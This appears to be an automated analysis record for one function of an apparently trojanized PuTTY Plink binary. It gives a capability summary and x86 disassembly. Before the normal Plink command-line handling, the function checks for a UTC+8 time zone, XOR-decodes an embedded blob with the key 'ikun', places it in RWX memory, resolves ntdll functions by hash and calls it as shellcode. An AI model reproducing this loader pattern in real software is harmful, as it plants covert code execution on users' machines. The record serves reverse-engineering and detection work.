Function at 0x43eb60
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x481180]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x1fc], 0xffffffff
push edi
mov dword [ebp - 0x1e8], esi
mov dword [ebp - 0x1f8], esi
mov dword [ebp - 0x1f4], esi
call fcn.0043b6b0
mov dword [ebp - 0x200], esi
mov dword [ebp - 0x208], esi
mov dword [0x483730], 3
mov dword [0x48372c], 0x16
mov dword [0x483734], 2
call fcn.00440570
test eax, eax
je 0x43edb1
lea eax, [ebp - 0x1e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [str.ikun]
mov dword [ebp - 0xc], eax
mov al, byte [0x473444]
mov byte [ebp - 8], al
mov eax, 0x88888889
imul dword [ebp - 0x1e4]
add edx, dword [ebp - 0x1e4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0xfffffff8
jne 0x43edb1
call fcn.00440570
test eax, eax
je 0x43edb1
lea ecx, [ebp - 0xc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ec24
sub ecx, edx
lea eax, [ebp - 0xc]
push ecx
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.0043ffb0
add esp, 0xc
xor esi, esi
push 1
lea eax, [esi + 0x47e790]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.0043ff30
inc esi
add esp, 0xc
cmp esi, 0x2962
jb 0x43ec43
push 0x40
push 0x1000
push 0x2962
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x2962
mov edi, eax
push 0x47e790
push edi
call fcn.00444be0
add esp, 0xc
test edi, edi
je 0x43f4c0
call fcn.00440570
test eax, eax
je 0x43edaf
call fcn.00451e78
cdq
mov ecx, 0x1a
idiv ecx
imul eax, edx, 0x7d0
push eax
call fcn.0043faf0
add esp, 4
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push 0xb9903ada
push esi
call fcn.0043fe00
mov ebx, eax
call fcn.00451e78
cdq
mov ecx, 0x1a
idiv ecx
imul eax, edx, 0x7d0
push eax
call fcn.0043faf0
add esp, 0xc
test ebx, ebx
jne 0x43ed0e
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00443ced
mov esp, ebp
pop ebp
ret 0x10
call fcn.00451e78
cdq
mov ecx, 0x1a
idiv ecx
imul eax, edx, 0x7d0
push eax
call fcn.0043faf0
push 0
push 0
call edi
push 0xc1cdffb1
push esi
call fcn.0043fe00
add esp, 0x14
mov esi, eax
push 0x2962
push edi
call esi
call fcn.00451e78
cdq
mov ecx, 0x1a
idiv ecx
imul eax, edx, 0x7d0
push eax
call fcn.0043faf0
add esp, 4
push 0x2962
push edi
call esi
call fcn.00451e78
cdq
mov esi, 0x1a
idiv esi
imul eax, edx, 0x7d0
push eax
call fcn.0043faf0
add esp, 4
push 0
push edi
call ebx
call fcn.00451e78
cdq
idiv esi
imul eax, edx, 0x7d0
push eax
call fcn.0043faf0
add esp, 4
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
call fcn.00402ef0
push eax
push 0
mov dword [0x482b98], eax
call fcn.00409000
push 2
push dword [0x482b98]
mov dword [0x483728], 0
call fcn.00402d20
push 1
push dword [0x482b98]
mov dword [0x483730], eax
call fcn.00402d20
mov dword [0x48372c], eax
xor eax, eax
push str.PLINK_PROTOCOL
mov dword [ebp - 0xc], eax
call fcn.00451e6d
add esp, 0x1c
test eax, eax
je 0x43ee49
push eax
call fcn.00408f60
add esp, 4
test eax, eax
je 0x43ee49
mov ecx, dword [eax + 0x48]
push ecx
push 2
push dword [0x482b98]
mov dword [0x483730], ecx
mov eax, dword [eax + 0x4c]
mov dword [0x48372c], eax
call fcn.00402f70
push dword [0x48372c]
push 1
push dword [0x482b98]
call fcn.00402f70
add esp, 0x18
mov ebx, dword [ebp - 0x1ec]
sub ebx, 1
mov dword [ebp - 0x1ec], ebx
je 0x43f340
mov ecx, dword [ebp - 0x1f0]
movsx edi, byte [ecx + 1]
inc ecx
mov dword [ebp - 0x1f0], ecx
mov al, byte [edi]
cmp al, 0x2d
jne 0x43f087
lea esi, [ecx + 1]
cmp ebx, 1
jle 0x43ee86
movsx eax, byte [esi]
jmp 0x43ee88
xor eax, eax
push dword [0x482b98]
push 1
push eax
push edi
call fcn.00401390
add esp, 0x10
cmp eax, 0xfffffffe
jne 0x43eedb
push edi
push str.plink:_option___s__requires_an_argument_n
push 2
call fcn.0044ada3
add esp, 4
push eax
call fcn.00403710
add esp, 0xc
mov dword [ebp - 0xc], 1
mov ecx, dword [ebp - 0x1f0]
mov esi, dword [ebp - 0x1e8]
sub ebx, 1
mov dword [ebp - 0x1ec], ebx
jne 0x43ee64
jmp 0x43f336
cmp eax, 2
jne 0x43eee5
dec ebx
mov ecx, esi
jmp 0x43eec5
cmp eax, 1
je 0x43eebf
mov ecx, str._batch
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43ef11
test dl, dl
je 0x43ef0d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43ef11
add eax, 2
add ecx, 2
test dl, dl
jne 0x43eef1
xor eax, eax
jmp 0x43ef16
sbb eax, eax
or eax, 1
test eax, eax
jne 0x43ef26
mov dword [0x482348], 1
jmp 0x43eebf
mov ecx, 0x473498
mov eax, edi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43ef50
test dl, dl
je 0x43ef4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43ef50
add eax, 2
add ecx, 2
test dl, dl
jne 0x43ef30
xor eax, eax
jmp 0x43ef55
sbb eax, eax
or eax, 1
test eax, eax
jne 0x43ef68
mov dword [ebp - 0x1f8], 1
jmp 0x43eebf
mov ecx, 0x47349c
mov eax, edi
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43ef90
test dl, dl
je 0x43ef8c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43ef90
add eax, 2
add ecx, 2
test dl, dl
jne 0x43ef70
xor eax, eax
jmp 0x43ef95
sbb eax, eax
or eax, 1
test eax, eax
je 0x43fae9
mov ecx, str.__version
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43efc4
test dl, dl
je 0x43efc0
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43efc4
add eax, 2
add ecx, 2
test dl, dl
jne 0x43efa4
xor eax, eax
jmp 0x43efc9
sbb eax, eax
or eax, 1
test eax, eax
je 0x43fae9
mov ecx, str.__help
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43eff8
test dl, dl
je 0x43eff4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43eff8
add eax, 2
add ecx, 2
test dl, dl
jne 0x43efd8
xor eax, eax
jmp 0x43effd
sbb eax, eax
or eax, 1
test eax, eax
je 0x43fad8
mov ecx, str._pgpfp
mov eax, edi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43f030
test dl, dl
je 0x43f02c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43f030
add eax, 2
add ecx, 2
test dl, dl
jne 0x43f010
xor eax, eax
jmp 0x43f035
sbb eax, eax
or eax, 1
test eax, eax
je 0x43fadd
mov ecx, str._shareexists
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x43f064
test dl, dl
je 0x43f060
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x43f064
add eax, 2
add ecx, 2
test dl, dl
jne 0x43f044
xor eax, eax
jmp 0x43f069
sbb eax, eax
or eax, 1
test eax, eax
jne 0x43f07c
mov dword [ebp - 0x1f4], 1
jmp 0x43eebf
push edi
push str.plink:_unknown_option___s__n
jmp 0x43eea5
test al, al
je 0x43eecb
push dword [0x482b98]
call fcn.004046c0
add esp, 4
test eax, eax
je 0x43f0b5
test esi, esi
jne 0x43f275
cmp dword [0x483728], esi
jne 0x43f275
push 7
push str.telnet:
push edi
call fcn.00448420
add esp, 0xc
test eax, eax
jne 0x43f15f
add edi, 7
cmp byte [edi], 0x2f
jne 0x43f0de
cmp byte [edi + 1], 0x2f
jne 0x43f0de
add edi, 2
push 1
push 2
push dword [0x482b98]
call fcn.00402f70
push 0x4734f0
push edi
call fcn.00404b40
mov cl, byte [eax + edi]
add eax, edi
add esp, 0x14
test cl, cl
je 0x43f126
mov byte [eax], 0
inc eax
cmp cl, 0x3a
jne 0x43f126
push eax
call fcn.004483df
push eax
push 1
push dword [0x482b98]
call fcn.00402f70
add esp, 0x10
jmp 0x43f138
push 0xffffffffffffffff
push 1
push dword [0x482b98]
call fcn.00402f70
add esp, 0xc
push edi
push 0
push dword [0x482b98]
call fcn.00402fd0
mov ecx, dword [ebp - 0x1f0]
mov esi, 1
add esp, 0xc
mov dword [ebp - 0x1e8], esi
jmp 0x43eecb
push 0x2c
push edi
call fcn.00444ab0
mov esi, eax
add esp, 8
test esi, esi
je 0x43f1a7
push edi
mov byte [esi], 0
call fcn.00408f60
mov edi, eax
add esp, 4
test edi, edi
je 0x43f1a4
mov eax, dword [edi + 0x48]
push eax
push 2
push dword [0x482b98]
mov dword [0x483730], eax
call fcn.00402f70
mov eax, dword [edi + 0x4c]
add esp, 0xc
mov dword [ebp - 0x1fc], eax
lea edi, [esi + 1]
push 0x40
push edi
call fcn.00445160
xor ecx, ecx
lea esi, [edi + 1]
add esp, 8
cmp eax, edi
cmovne ecx, eax
cmovne esi, edi
test ecx, ecx
je 0x43f1cd
mov ebx, esi
mov byte [ecx], 0
lea esi, [ecx + 1]
jmp 0x43f1cf
xor ebx, ebx
call fcn.00402ef0
mov edi, eax
push edi
push esi
call fcn.00409000
add esp, 8
cmp dword [0x483728], 0
jne 0x43f217
push edi
call fcn.004046c0
add esp, 4
test eax, eax
je 0x43f217
push edi
push dword [0x482b98]
call fcn.00402c30
mov esi, dword [ebp - 0x1e8]
add esp, 8
mov dword [0x483728], 1
jmp 0x43f246
push esi
push 0
push dword [0x482b98]
call fcn.00402fd0
push dword [0x48372c]
push 1
push dword [0x482b98]
call fcn.00402f70
mov esi, 1
add esp, 0x18
mov dword [ebp - 0x1e8], esi
push edi
call fcn.00402d00
add esp, 4
test ebx, ebx
je 0x43f264
push ebx
push 0x34
push dword [0x482b98]
call fcn.00402fd0
add esp, 0xc
mov ebx, dword [ebp - 0x1ec]
mov ecx, dword [ebp - 0x1f0]
jmp 0x43eecb
mov eax, dword [ebp - 0x1ec]
xor ebx, ebx
xor esi, esi
xor ecx, ecx
test eax, eax
je 0x43f304
cmp byte [edi], 0
je 0x43f2bb
sub edi, esi
nop dword [eax]
cmp esi, ebx
jl 0x43f2a8
push 1
lea ebx, [esi + 0x200]
push ebx
push ecx
call fcn.00404f00
add esp, 0xc
mov ecx, eax
mov al, byte [edi + esi]
mov byte [ecx + esi], al
inc esi
cmp byte [edi + esi], 0
jne 0x43f290
mov eax, dword [ebp - 0x1ec]
cmp esi, ebx
jl 0x43f2d9
push 1
lea ebx, [esi + 0x200]
push ebx
push ecx
call fcn.00404f00
mov ecx, eax
add esp, 0xc
mov eax, dword [ebp - 0x1ec]
mov byte [ecx + esi], 0x20
inc esi
sub eax, 1
mov dword [ebp - 0x1ec], eax
je 0x43f2fb
mov edx, dword [ebp - 0x1f0]
inc edx
mov dword [ebp - 0x1f0], edx
movsx edi, byte [edx]
jmp 0x43f285
test esi, esi
je 0x43f304
mov byte [ecx + esi - 1], 0
push ecx
push 0x14
push dword [0x482b98]
call fcn.00402fd0
push 0x4633c7
push 0x15
push dword [0x482b98]
call fcn.00402fd0
push 1
push 0x16
push dword [0x482b98]
call fcn.00402f70
add esp, 0x24
cmp dword [ebp - 0xc], 0
jne 0x43f4c0
push dword [0x482b98]
call fcn.004046c0
add esp, 4
test eax, eax
je 0x43fad8
cmp dword [ebp - 0x1e8], 0
jne 0x43f36c
cmp dword [0x483728], 0
je 0x43fad8
push 0
push dword [0x482b98]
call fcn.00402d20
push eax
call fcn.00404880
mov edi, eax
push 0x463a10
push edi
call fcn.0044bc60
add esp, 0x14
cmp byte [edi + eax], 0
lea esi, [edi + eax]
je 0x43f3c0
push 0x40
push esi
call fcn.00445160
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x43f3c0
push esi
push 0x34
push dword [0x482b98]
mov byte [ebx], 0
call fcn.00402fd0
add esp, 0xc
lea esi, [ebx + 1]
push 0x3a
push esi
call fcn.00404ac0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x43f3e5
lea eax, [ebx + 1]
push 0x3a
push eax
call fcn.00404ac0
add esp, 8
test eax, eax
jne 0x43f3e5
mov byte [ebx], al
mov al, byte [esi]
mov ecx, edi
test al, al
je 0x43f403
nop dword [eax]
cmp al, 0x20
je 0x43f3fb
cmp al, 9
je 0x43f3fb
mov byte [ecx], al
inc ecx
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x43f3f0
push edi
push 0
push dword [0x482b98]
mov byte [ecx], 0
call fcn.00402fd0
push edi
call fcn.00404e40
push dword [0x482b98]
call fcn.00402a90
add esp, 0x14
cmp dword [ebp - 0x1f8], 0
je 0x43f443
push 1
push 0x2b
push dword [0x482b98]
call fcn.00402f70
add esp, 0xc
push 0x14
push dword [0x482b98]
call fcn.00402d20
add esp, 8
cmp byte [eax], 0
jne 0x43f489
push 0x15
push dword [0x482b98]
call fcn.00402d20
add esp, 8
cmp byte [eax], 0
jne 0x43f489
push 0x2e
push dword [0x482b98]
call fcn.00402d20
add esp, 8
cmp byte [eax], 0
jne 0x43f489
or dword [0x483734], 4
push 2
push dword [0x482b98]
call fcn.00402d20
push eax
call fcn.00408fd0
add esp, 0xc
mov dword [0x482b90], eax
test eax, eax
jne 0x43f4d8
push str.Internal_fault:_Unsupported_protocol_found_n
push 2
call fcn.0044ada3
add esp, 4
push eax
call fcn.00403710
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00443ced
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp - 0x1fc]
cmp eax, 0xffffffff
je 0x43f4f4
push eax
push 1
push dword [0x482b98]
call fcn.00402f70
add esp, 0xc
call fcn.0043c890
cmp dword [0x483744], 0
jne 0x43f509
push str.Plink_requires_WinSock_2_n
jmp 0x43f4ad
push 2
push dword [0x482b98]
call fcn.00402d20
add esp, 8
cmp eax, 3
jne 0x43f576
push 0x95
push dword [0x482b98]
call fcn.00402d20
add esp, 8
test eax, eax
jne 0x43f576
push 0x1d
push dword [0x482b98]
call fcn.00402d20
add esp, 8
test eax, eax
jne 0x43f576
push eax
push 0x9b
push dword [0x482b98]
call fcn.00402d80
add esp, 0xc
test eax, eax
jne 0x43f576
push 1
push 0xa9
push dword [0x482b98]
call fcn.00402f70
add esp, 0xc
push dword [0x482b98]
push 0
call fcn.004037f0
push eax
mov dword [0x48374c], eax
call fcn.00439db0
add esp, 0xc
cmp dword [ebp - 0x1f4], 0
je 0x43f609
mov esi, dword [0x482b90]
cmp dword [esi + 0x40], 0
jne 0x43f5c6
push dword [esi + 0x44]
push str.Connection_sharing_not_supported_for_connection_type__s_n
push 2
call fcn.0044ada3
add esp, 4
push eax
call fcn.00403710
add esp, 0xc
jmp 0x43f4c0
mov eax, dword [0x482b98]
push eax
push 1
push eax
call fcn.00402d20
add esp, 8
push eax
push 0
push dword [0x482b98]
call fcn.00402d20
add esp, 8
push eax
mov eax, dword [esi + 0x40]
call eax
add esp, 0xc
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00443ced
mov esp, ebp
pop ebp
ret 0x10
cmp dword [0x483738], 0
je 0x43f621
push str.Running_with_restricted_process_ACL
push 0
call fcn.00439dc0
add esp, 8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 7
push dword [0x482b98]
mov dword [0x483704], eax
call fcn.00402d20
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
add esp, 8
test eax, eax
je 0x43f663
push 0xfffffffffffffff6
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 2
jne 0x43f663
lea edi, [eax - 1]
jmp 0x43f665
xor edi, edi
push 8
push dword [0x482b98]
call fcn.00402d20
add esp, 8
push eax
push edi
lea eax, [ebp - 0x1f4]
push eax
push 1
push dword [0x482b98]
call fcn.00402d20
add esp, 8
push eax
push 0
push dword [0x482b98]
call fcn.00402d20
add esp, 8
push eax
push dword [0x482b98]
mov eax, dword [0x482b90]
push 0x482b94
push 0
mov eax, dword [eax]
call eax
add esp, 0x20
test eax, eax
je 0x43f6c8
push eax
push str.Unable_to_open_connection:_n_s
jmp 0x43f5ae
mov eax, dword [0x482b90]
push dword [0x48374c]
push dword [0x482b94]
mov eax, dword [eax + 0x34]
call eax
push dword [ebp - 0x1f4]
call fcn.00404e40
add esp, 0xc
push 0xfffffffffffffff6
call esi
push 0xfffffffffffffff5
mov dword [0x483720], eax
call esi
push 0xfffffffffffffff4
mov dword [0x48371c], eax
call esi
push 0x483708
push dword [0x483720]
mov dword [0x483718], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 1
push dword [0x483720]
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
push 0
push 0x440200
push dword [0x48371c]
call fcn.0043af10
push 0
push 0
push 0x440200
push dword [0x483718]
mov dword [0x483710], eax
call fcn.0043af10
add esp, 0x20
mov dword [0x48370c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor ebx, ebx
mov dword [0x482b9c], eax
mov dword [ebp - 0x1f8], ebx
call esi
mov edi, eax
test ebx, ebx
jne 0x43f7b7
mov eax, dword [0x482b90]
push dword [0x482b94]
mov eax, dword [eax + 0x28]
call eax
add esp, 4
test eax, eax
je 0x43f7b7
push ebx
push ebx
push 0x4400f0
push dword [0x483720]
call fcn.0043aca0
add esp, 0x10
mov dword [0x483714], eax
mov dword [ebp - 0x1f8], 1
call fcn.004012c0
test eax, eax
je 0x43f7ca
xor esi, esi
mov dword [ebp - 0x204], edi
jmp 0x43f7fd
lea eax, [ebp - 0x204]
push eax
push edi
call fcn.00438550
add esp, 8
test eax, eax
je 0x43f7fa
call esi
mov esi, dword [ebp - 0x204]
mov edx, eax
mov ecx, esi
sub eax, edi
sub ecx, edi
cmp eax, ecx
jbe 0x43f7f6
xor esi, esi
jmp 0x43f7fd
sub esi, edx
jmp 0x43f7fd
or esi, 0xffffffff
lea eax, [ebp - 0x1ec]
push eax
call fcn.0043aad0
mov ecx, eax
mov eax, dword [ebp - 0x1ec]
push 4
inc eax
push eax
push ecx
call fcn.00404f00
mov ecx, dword [ebp - 0x1ec]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x483704]
mov dword [ebp - 0x1fc], ebx
push 8
push esi
mov dword [ebx + ecx*4], eax
mov eax, dword [ebp - 0x1ec]
push 0
push ebx
inc eax
push eax
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov ecx, eax
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x1e8], ecx
cmp ecx, eax
jae 0x43f86a
push dword [ebx + ecx*4]
call fcn.0043ab80
add esp, 4
jmp 0x43f982
jne 0x43f9a1
lea eax, [ebp - 0xc]
xor esi, esi
push eax
call fcn.0043be00
add esp, 4
cmp eax, 0xffffffff
je 0x43f895
lea eax, [ebp - 0xc]
inc esi
push eax
call fcn.0043bf90
add esp, 4
cmp eax, 0xffffffff
jne 0x43f883
cmp esi, dword [ebp - 0x208]
jle 0x43f8c1
lea eax, [esi + 0x10]
push 4
push eax
push dword [ebp - 0x200]
mov dword [ebp - 0x208], eax
call fcn.00404f00
mov edi, eax
add esp, 0xc
mov dword [ebp - 0x200], edi
jmp 0x43f8c7
mov edi, dword [ebp - 0x200]
lea eax, [ebp - 0xc]
xor esi, esi
push eax
mov dword [ebp - 0x1f4], esi
call fcn.0043be00
add esp, 4
cmp eax, 0xffffffff
je 0x43f8fb
mov dword [edi + esi*4], eax
lea eax, [ebp - 0xc]
push eax
inc esi
call fcn.0043bf90
add esp, 4
cmp eax, 0xffffffff
jne 0x43f8e0
mov dword [ebp - 0x1f4], esi
xor ebx, ebx
test esi, esi
jle 0x43f97c
mov edi, dword [edi + ebx*4]
lea eax, [ebp - 0x138]
push eax
push 0
push edi
call dword [0x48373c]
test eax, eax
jne 0x43f971
push edi
call fcn.0043e430
push dword [ebp - 0x138]
call fcn.0043e430
add esp, 8
mov eax, 0x472b88
xor esi, esi
mov edx, dword [esi + eax]
test dword [ebp - 0x138], edx
je 0x43f963
mov eax, dword [esi + 0x472b84]
movzx ecx, word [ebp + eax*4 - 0x134]
shl ecx, 0x10
movzx eax, dx
or ecx, eax
push ecx
push edi
call fcn.0043c000
add esp, 8
mov eax, 0x472b88
add esi, 8
cmp esi, 0x30
jb 0x43f933
mov esi, dword [ebp - 0x1f4]
mov edi, dword [ebp - 0x200]
inc ebx
cmp ebx, esi
jl 0x43f901
mov ebx, dword [ebp - 0x1fc]
call fcn.00401280
cmp dword [ebp - 0x1e8], 0x102
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
jne 0x43fa0c
mov edi, dword [ebp - 0x204]
jmp 0x43fa10
inc eax
cmp ecx, eax
jne 0x43f982
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
lea eax, [ebp - 0x128]
push 1
push 0x8004
push 0x8004
push 0xffffffffffffffff
push eax
call edi
test eax, eax
je 0x43f982
nop word [eax + eax]
mov esi, dword [ebp - 0x11c]
push dword [esi + 0xc]
mov eax, dword [esi]
push dword [esi + 8]
push dword [esi + 4]
call eax
push esi
call fcn.00404e40
add esp, 0x10
lea eax, [ebp - 0x128]
push 1
push 0x8004
push 0x8004
push 0xffffffffffffffff
push eax
call edi
test eax, eax
jne 0x43f9d0
jmp 0x43f982
call esi
mov edi, eax
push ebx
call fcn.00404e40
mov ebx, dword [ebp - 0x1f8]
add esp, 4
test ebx, ebx
je 0x43fa42
mov eax, dword [0x482b90]
push dword [0x482b94]
mov eax, dword [eax + 0x10]
call eax
push eax
push dword [0x483714]
call fcn.0043b1f0
add esp, 0xc
mov eax, dword [0x482b90]
push dword [0x482b94]
mov eax, dword [eax + 0x20]
call eax
add esp, 4
test eax, eax
jne 0x43f778
push dword [0x48370c]
call fcn.0043aa10
push dword [0x483710]
mov esi, eax
call fcn.0043aa10
add esp, 8
add esi, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
jne 0x43f778
mov eax, dword [0x482b90]
push dword [0x482b94]
mov eax, dword [eax + 0x24]
call eax
add esp, 4
test eax, eax
jns 0x43faba
push str.Remote_process_exit_code_unavailable_n
push 2
call fcn.0044ada3
add esp, 4
push eax
call fcn.00403710
add esp, 8
mov eax, 1
push eax
call fcn.00439ae0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop edi
pop esi
pop ebx
call fcn.00443ced
mov esp, ebp
pop ebp
ret 0x10
call fcn.00440320
call fcn.00439e00
push 1
call fcn.00451bcf
call fcn.00440510
int3